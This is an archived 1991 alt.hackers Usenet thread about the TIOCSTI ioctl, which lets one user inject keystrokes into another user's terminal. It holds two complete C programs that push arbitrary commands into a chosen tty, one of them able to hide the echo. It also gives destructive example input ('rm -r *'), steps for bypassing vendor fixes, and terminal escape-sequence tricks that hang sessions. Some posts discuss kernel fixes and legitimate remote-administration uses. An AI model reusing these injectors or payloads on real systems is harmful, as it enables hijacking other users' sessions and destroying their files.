[alt.hackers] TIOCSTI

god@csserv2.ic.sunysb.edu (The Lord God your Creator) (05/14/91)

The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
while they're logged in as long as you have write perminssion for the tty
(mesg y). So you could write the string: "rm -r *\n" and it would be executed
if the user was in a shell.  Whoever made this system call goofed. 

-- 
/*  jallen@ic.sunysb.edu  */     /* Amazing */     /* Joe Allen 129.49.12.74 */
int a[1817];main(z,p,q,r){for(p=80;q+p-80;p-=2*a[p])for(z=9;z--;)q=3&(r=time(0)
+r*57)/7,q=q?q-1?q-2?1-p%79?-1:0:p%79-77?1:0:p<1659?79:0:p>158?-79:0,q?!a[p+q*2
]?a[p+=a[p+=q]=q]=q:0:0;for(;q++-1817;)printf(q%79?"%c":"%c\n"," #"[!a[q-1]]);}

joe@montebello.uhcc.Hawaii.Edu (Joe Dellinger) (05/14/91)

In article <1991May13.211622.1452@sbcs.sunysb.edu>, god@csserv2.ic.sunysb.edu
(The Lord God your Creator) writes:
|> The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
|> while they're logged in as long as you have write perminssion for the tty
|> (mesg y).
	This probably explains why the trick "stty -even > /dev/whatever"
works so well.

     /\    /\    /\/\/\/\/\/\/\.-.-.-.-.......___________
    /  \  /  \  /Hawaii Institute of Geophysics, Honolulu\/\/\.-.-....__
___/    \/    \/Joe Dellinger, Internet: joe@montebello.soest.hawaii.edu\/\.-.__

kucharsk@solbourne.com (William Kucharski) (05/15/91)

In article <1991May13.211622.1452@sbcs.sunysb.edu> god@csserv2.ic.sunysb.edu (The Lord God your Creator) writes:
 >
 >The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
 >while they're logged in as long as you have write perminssion for the tty
 >(mesg y). So you could write the string: "rm -r *\n" and it would be executed
 >if the user was in a shell.  Whoever made this system call goofed. 

Actually the system call can be quite handy; the fact that it can be used by
Joe User is somewhat more of a goof...
-- 
| William Kucharski, Solbourne Computer, Inc.     | Opinions expressed above
| Internet:   kucharsk@Solbourne.COM	          | are MINE alone, not those
| uucp:	...!{boulder,sun,uunet}!stan!kucharsk     | of Solbourne...
| Snail Mail: 1900 Pike Road, Longmont, CO  80501 | "It's Night 9 With D2 Dave!"

cg108dbd@icogsci1.ucsd.edu (Steve -Social Hacker) (05/15/91)

In article <1991May13.211622.1452@sbcs.sunysb.edu> god@csserv2.ic.sunysb.edu (The Lord God your Creator) writes:

   The TIOCSTI ioctl lets you simulate keyboard input on other peoples
   terminals while they're logged in as long as you have write
   perminssion for the tty (mesg y). So you could write the string:
   "rm -r *\n" and it would be executed if the user was in a shell.
   Whoever made this system call goofed.

Most vendors have ``fixed'' this problem by not allowing the TIOCSTI
unless the process is the owner of the port.  There is a disgustion
allong these lines in alt.security.  However, most of what is being
discussed is whether or not the topic should be discussed.

Here is one basic approach to get around this ``fix'':

	A process closes its controlling tty, thus losing its
		controlling tty.
	It opens a free pty (slave end) and waits.
	Once a process has also opened the pty, the process opens
		/dev/tty and performs the TIOCSTI.

Many vendors have fixes even around this.  Supposedly, Dan Bernstein
has a program that even gets around this, but he's only telling those
who ``have a need to know,''  which, as far as I can tell, excludes
everyone.

David Brown.
dbrown@ucsd.edu
----------------------------------------------------------------------
Wise man say: mail signatures are annoying and bothersome and should
generally be avoided.
----------------------------------------------------------------------

brendan@CS.WIDENER.EDU (Brendan Kehoe) (05/15/91)

kucharsk@solbourne.com writes:
> god@csserv2.ic.sunysb.edu writes:
>>The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
>>..  Whoever made this system call goofed. 
>
>Actually the system call can be quite handy

 I have to agree .. I've found a good number of uses for it. Here's a
quick hack I made to let you have nearly an "interactive" connection
with their terminal (tho you can't see any of the output, you can put
whole lines onto their stdin). It's been invaluable in helping people
do things when I'm not there to physically help them. (Hehe, and to
cleanly log people out that've been idle for 18 years or more.)

-- cut --
/*
 * force.c - v1.2 - by Brendan Kehoe
 *
 *  v1.0 - 10/15/90 - force execution of a command on the user's command line 
 *  v1.1 - 11/19/90 - allow a pseudo-interactive session, of sorts
 *  v1.2 - 11/20/90 - made the thing error check itself into oblivion
 *
 * Usage: force [ -n ] [ -l /dev/ttyxx ]
 *       -n              - use this if you don't want the command to echo
 *       -l /dev/ttyxx   - the line to hit; use the full name (e.g. /dev/ttyp0)
 *
 *  Compiles under SunOS 4.1 and Ultrix 3.1D (that I know of). No promises
 *   are made for other OS's or systems.
 *  It won't work under System V Release anything until an alternative
 *  to the TIOCSTI ioctl comes around. (Or you use SVR4, I'm told.)
 *
 * (Yes, this requires you be root to use it.)
 *
 * You're welcome to do whatever you want with this, as long as you note
 * its origin somewhere. (Namely "This Was Written By Brendan Kehoe", for
 * starters.) (A 19-page writeup would be cool, too, but maybe it's too much.)
 *
 * Thanks to Richard Stallman for Emacs .. now that I'm finally really using
 * it to any extent, I'm discovering it's an absolute dream to work in. If
 * you aren't using it, GET it. (Write me if you don't know how.)
 */

#include <stdio.h>
#ifdef	sun
# include <alloca.h>
#endif /* sun */
#include <sys/types.h>		/* for stat(2) */
#include <sys/stat.h>		/* for stat(2) */
#include <fcntl.h>
#include <sys/termios.h>

#if defined(ultrix)
# include <sys/ioctl.h>
# define	TCGETS	TCGETP
# define	TCSETS	TCSANOW
#endif /* ultrix */

void push(), devchk();

extern char	*optarg;
extern int	optind;
short no_echo = 0;

#define	USAGE	    "usage: %s [-n] [-l /dev/ttyxx]\n",*argv
#define COMMAND_LIM 100

int
main(argc, argv)
     int argc;
     char **argv;
{
  int f, cnt;
  short true = 1, no_cmd = 0;
  char *device, *buf, *trail, chr;
  
  if (argc > 4) {
    fprintf(stderr, USAGE);
    exit(1);
  }

  if ((device = (char *)malloc(40)) == (char *)NULL) {
    perror("malloc 1");
    exit(1);
  }
  
  if ((buf = (char *)alloca(COMMAND_LIM)) == (char *)NULL) {
    perror("alloca 1");
    exit(1);
  }
  
  while ((chr = getopt(argc, argv, "nl:")) != -1)
    switch (chr) {
    case 'n':
      no_echo = 1;
      break;
    case 'l':
      (void) devchk(optarg, *argv);
      device = optarg;
      break;
    default:
      fprintf(stderr, USAGE);
      exit(1);
    }

  if (strlen(device) < 2) {
    printf("Device [form: /dev/ttyxx]: ");
    fflush(stdout);
    fgets(device, 39, stdin);
    /* cut off the trailing return that fgets leaves on */
    if ((*device) && (*(trail=(char *)(device + strlen(device) - 1)) == '\n'))
      *trail = '\0';
    if (strlen(device) > 7)
      (void) devchk(device, *argv);
    else {
      fprintf(stderr, "%s: give full name [e.g. /dev/ttyp0].\n", *argv);
      exit(1);
    }
  }

  printf("Terminate with '-X-' on a line by itself.\n");
  while (true) {
    no_cmd = cnt = 0;
    chr = *buf = '\0';
    printf("Force> ");
    rewind(stdin);
    while (((chr=getchar()) != '\n') && (chr != EOF) && (cnt < COMMAND_LIM))
      *(buf + cnt++) = chr;
    if (cnt == COMMAND_LIM) {
      printf("Limit of %d characters per command line.\n", COMMAND_LIM);
      no_cmd = 1;
    }
    if (chr == EOF) {
      putc('\n', stdout);
      exit(0);
    }
    if (!no_cmd) {
      *(buf + cnt) = '\0';
      if (!strcmp(buf, "-X-"))
	true = 0;
      else if ((*buf != '\n') && (*buf != '\0')) {
	if ((f = open(device, O_NDELAY | O_RDWR)) < 0) {
	  perror("open");
	  exit(1);
	}
	push(f, buf);
	close(f);
      }
    }
  }
}

void
push(f, s)
     int f;
     char *s;
{
  register int i;
  char ret='\n';
  struct termios termios;

  if (no_echo) {
    if (ioctl(f, TCGETS, &termios) < 0) {
      perror("ioctl 1");
      exit(1);
    }
    termios.c_lflag &= ~ECHO;
    if (ioctl(f, TCSETS, &termios) < 0) {
      perror("ioctl 2");
      exit(1);
    }
  }
  
  if (ioctl(f, TCFLSH, 0)  < 0) {		/* flush the input queue */
    perror("ioctl 3");
    exit(1);
  }
  
  for (i = 0; i < strlen(s); i++)              /* give 'em the command */
    ioctl(f, TIOCSTI, s + i);
  ioctl(f, TIOCSTI, &ret);                     /* including a return */
  
  if (no_echo) {
    ioctl(f, TCGETS, &termios);
    termios.c_lflag |= ECHO;
    ioctl(f, TCSETS, &termios);
    
    ioctl(f, TCFLSH, 1);                       /* flush the output queue */
  }
}

void
devchk(device, prg)
     char *device, *prg;
{
  struct stat sb;

  if (strncmp(device, "/dev/tt", 7) && strncmp(device, "/dev/co", 7)) {
    fprintf(stderr, "%s: give full name [e.g. /dev/ttyp0].\n", prg);
    exit(1);
  }
  if (!strcmp(device, ttyname(0))) {
    fprintf(stderr, "%s: you can't force yourself, you masochist.\n",
	    prg);
    exit(1);
  }
  if (strlen(device) > 40) {
    fprintf(stderr, "%s: terminal name too long.\n", prg);
    exit(1);
  }

  /*
   * there's probably a cleaner way to do this (not having the struct down
   * here at all); I considered using alloca, then decided not to. I'm open
   * to suggestions. - BK 11/20
   */
  if (stat(device, (struct stat *)&sb) < 0) {
    perror(prg);
    exit(1);
  }
}
-- cut --
-- 
     Brendan Kehoe - Widener Sun Network Manager - brendan@cs.widener.edu
  Widener University in Chester, PA                A Bloody Sun-Dec War Zone
 "Visualize a dream; look for it in the present tense -- a greater calm than
   before.  If you persist in your efforts, you can achieve...dream control."

:morF (05/16/91)

Here's a little piece of code that works on some machines...  But of
course, only use it for tty's that are your own...

#include <sys/ioctl.h>
#include <sys/termio.h>
#include <sys/file.h>
#include <stdio.h>
main(argc,argv)
int argc;
char *argv[];
{
int fd;
char data;

fd=open(argv[1],O_WRONLY | O_APPEND,0);
while(1)
  {
  data=getchar();
  ioctl(fd,TIOCSTI,&data);
  }
}

jgabriel@mtecv2.mty.itesm.mx (Juan Gabriel Ruiz Pinto) (05/17/91)

:morF writes:
>Here's a little piece of code that works on some machines...  But of
>course, only use it for tty's that are your own...

   I have tryed some of this kind of programs in a VAX running Ultrix 3.0,
  but when I try to send it to background I get a message of 'stopped
  waiting for input'. What this means? Is this a OS protection?

-- 
Juan Gabriel Ruiz Pinto                   Internet:
Ing. Sistemas Electronicos                jgabriel@mtecv2.mty.itesm.mx
I.T.E.S.M. Campus Monterrey

tim@dell.co.uk (Tim Wright) (05/20/91)

In <1991May13.211622.1452@sbcs.sunysb.edu> god@csserv2.ic.sunysb.edu (The Lord God your Creator) writes:


>The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
>while they're logged in as long as you have write perminssion for the tty
>(mesg y). So you could write the string: "rm -r *\n" and it would be executed
>if the user was in a shell.  Whoever made this system call goofed. 

No they didn't. They did in 4.2BSD but it was fixed in 4.3. Basically, you
can only execute it on your control tty. Under 4.2BSD, you could open a
tty for write only, having first used TIOCNOTTY to get rid of your control
tty, and use TIOCSTI, since the open made the new tty the control terminal
for that process. Under 4.3BSD, you need read access on the terminal as well,
and that is not usually the case unless somebody really wants to be hacked !

Tim
-- 
Tim Wright, Dell Computer Corp., Bracknell    |  Domain: tim@dell.co.uk
Berkshire, UK, RG12 1RW. Tel: +44-344-860456  |  Uucp: ...!ukc!delluk!tim
Smoke me a Kipper, I'll be back for breakfast - Red Dwarf

cks@hawkwind.utcs.toronto.edu (Chris Siebenmann) (05/25/91)

tim@dell.co.uk (Tim Wright) writes:
| No they didn't. They did in 4.2BSD but it was fixed in 4.3. Basically, you
| can only execute it on your control tty. 
[talks about how you need read & write access to a terminal to make it 
 your controlling terminal in 4.3BSD.]

 There's at least one fairly trivial method of getting over this
difficulty on some systems; I don't plan to explain further, sorry.
This problem, incidentally, is at least one part of the great Dan
Bernsteing tty security war going on in various newsgroups near you.  I
currently believe that the Ultrix 4.x kernel has enough support to
defeat attacks using this technique; unfortunately, you need to fix all
the pty-allocating daemons to do the right thing, which usually
requires either the willingness to run 4.3Tahoe daemons and programs on
an Ultrix machine (with any ensuing porting headaches) or Ultrix 4.x
source.

 This is another example of why places that are serious about running
real systems in real production environments continue to demand kernel
and utility source from their vendors. Vendors, sit up and take
notice.

[I could have, with experimentation, verified that my fix was probably
 correct and complete without kernel source. I would not be HALF as
 confident about it, though; actually reading the kernel source was
 highly usefull.]
--
"If the vendors started doing everything right, we would be out of a
 job.  Let's hear it for OSI and X!  With those babies in the wings,
 we can count on being employed until we drop, or get smart and switch
 to gardening, paper folding, or something."	- C. Philip Wood
cks@hawkwind.utcs.toronto.edu	           ...!{utgpu,utzoo,watmath}!utgpu!cks

crisp@cs.warwick.ac.uk (CrisP) (05/26/91)

I haven`t managed to post from this department before. So lets see if this
works!

In article <tim.674729731@holly> tim@dell.co.uk (Tim Wright) writes:
>In <1991May13.211622.1452@sbcs.sunysb.edu> god@csserv2.ic.sunysb.edu (The Lord God your Creator) writes:
>
>
>>The TIOCSTI ioctl lets you simulate keyboard input on other peoples terminals
>>while they're logged in as long as you have write perminssion for the tty
>>(mesg y). So you could write the string: "rm -r *\n" and it would be executed
>>if the user was in a shell.  Whoever made this system call goofed. 
>
>No they didn't. They did in 4.2BSD but it was fixed in 4.3. Basically, you
>can only execute it on your control tty. Under 4.2BSD, you could open a
>tty for write only, having first used TIOCNOTTY to get rid of your control
>tty, and use TIOCSTI, since the open made the new tty the control terminal
>for that process. Under 4.3BSD, you need read access on the terminal as well,
>and that is not usually the case unless somebody really wants to be hacked !

Read access on your tty.

I have great fun with programs like this:
-rwxr-xr-x  1 gnu      wheel       73728 Jan 21 19:22 /gnu/bin/screen*

And:
-rwxr-xr-x  1 bin      wheel      376832 Jul 21  1990 /usr/local/bin/X11/xterm*

Because when I am using them and I do something like "ls -Flg `tty`" I get:
crw-rw-rw-  1 root     wheel     20,   1 May 26 03:49 /dev/ttyp1

I don't want to be hacked, but not being root there aint much I can do about
that tty!

~CrisP.

>
>Tim
>-- 
>Tim Wright, Dell Computer Corp., Bracknell    |  Domain: tim@dell.co.uk
>Berkshire, UK, RG12 1RW. Tel: +44-344-860456  |  Uucp: ...!ukc!delluk!tim
>Smoke me a Kipper, I'll be back for breakfast - Red Dwarf

------------------------------------------------------------------
crisp@uk.ac.warwick.cs |   I didn't do it. Nobody saw me do it.
                       | You can't prove anything. - Bart Simpson.
------------------------------------------------------------------
-- 
------------------------------------------------------------------
crisp@uk.ac.warwick.cs |   I didn't do it. Nobody saw me do it.
                       | You can't prove anything. - Bart Simpson.
------------------------------------------------------------------

eravin@panix.uucp (Ed Ravin) (06/05/91)

Even if they've got their terminals set to write-only access, if some
interloper knew that they used a VT-100 style terminal or other terminal
with programmable, remotely enabled function keys, couldn't someone send
the sequence to program a function key for "rm -f *\r" and then have the
terminal send it?  I used to do things like this in an environment with
25 line terminals -- I had a little script to send "<save cursor>, goto
line 25, write some cute message, and then <restore cursor> so as not to
disturb their session.  I also found some escape sequences that could send
VT-101's into a self-test mode that would hang the terminal, drop DTR, and
thus lose the session.

Are there any legitimate uses for TIOCSTI that make it worthwhile, or even
worth the inconvenient security risks?  Why did the vendors put it in there
in the first place?
-- 
Ed Ravin            | I'm sorry, sir, but POSTAL REGULATIONS don't allow
cmcl2!panix!eravin  | PLASTIC tape over PAPER tape and NYLON cord on an
philabs!trintex!elr | 86 inch girth to LITHUANIA...
+1 914 993 4737     |

okunewck@psuvax1.cs.psu.edu (Phil OKunewick) (06/11/91)

eravin@panix.uucp (Ed Ravin) writes:
>Are there any legitimate uses for TIOCSTI that make it worthwhile, or even
>worth the inconvenient security risks?  Why did the vendors put it in there
>in the first place?

Yep - here's a hardware ObHack that does something like it:

   I have several operators doing backups of our systems in the wee
hours of the morning.  Back before I had my "best and brightest"
students doing the backups, it was often easier to read and type on
the console myself and have them watch.  This is hard to do when I'm
at home talking them through things on the phone.

   So, I wired consoles to I/O ports of other systems using an "and"
connection on the rs-232 lines.  I could then dial in to psuvax1 and
tip to the console of gondor, and remotely take over managing gondor's
problem, with the operator watching the console type things itself.
(One guy continued to read the consle output to me after I had told
him what I was doing, and didn't really realize what was happenning
until I typed "Hi Fred.")
   Even when gondor was down in single user mode, I could still dial
in to it.  I often used this to remotely fix the vaxen when I got
middle-of-the-night phone calls about a crash.

   There are a couple problems with this idea - the main one is that
the tip line must be _secure_.  If the port isn't protected from the
world, then the random cracker could have all sorts of remote fun on
the console.

   Now that we've got Suns, there's a risk of a "break" accidentally
happenning when I connect/disconnect.  Since I've got good operators
and stable systems now, the tip-to-consoles aren't worth the risk any
more.  But if they're ever needed, they're easy to set up again.

   Admittedly this is a hardware version of remote terminal control,
but it does a very similar function.